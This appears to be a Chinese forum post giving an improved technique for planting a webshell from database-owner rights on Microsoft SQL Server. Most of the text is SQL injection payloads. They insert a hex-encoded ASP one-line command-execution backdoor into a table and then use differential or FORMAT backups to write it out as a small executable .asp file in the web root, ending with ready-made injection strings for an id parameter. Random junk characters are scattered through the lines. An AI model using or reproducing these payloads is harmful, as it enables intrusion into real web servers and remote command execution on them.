DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

4 Y, `, H! A, s9 q6 u* k2 k4 L一利用差异备份
加一个参数WITH DIFFERENTIAL
7 v) ~% v3 {+ K3 S7 r! F
& Q! v9 K. r6 E# ?3 X( S& u$ jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ R! s2 o+ q( ~+ e7 lcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
! X3 ?9 `( o8 M6 Wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
2 D  H. K4 ~/ U# x
. `: \: H3 P0 V  Z. p1 A  d7 ~二利用完全FORMAT
加一个参数WITH FROMAT
% _: H0 i& ]) J9 G& M" o有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

9 }$ {3 i# R  n% q2 X# h, Z1 Gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
( Y& C( |- w; N# `" b9 c" ]
% t9 T, ^$ u. g3 J总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–

( P6 x9 y/ A3 j. {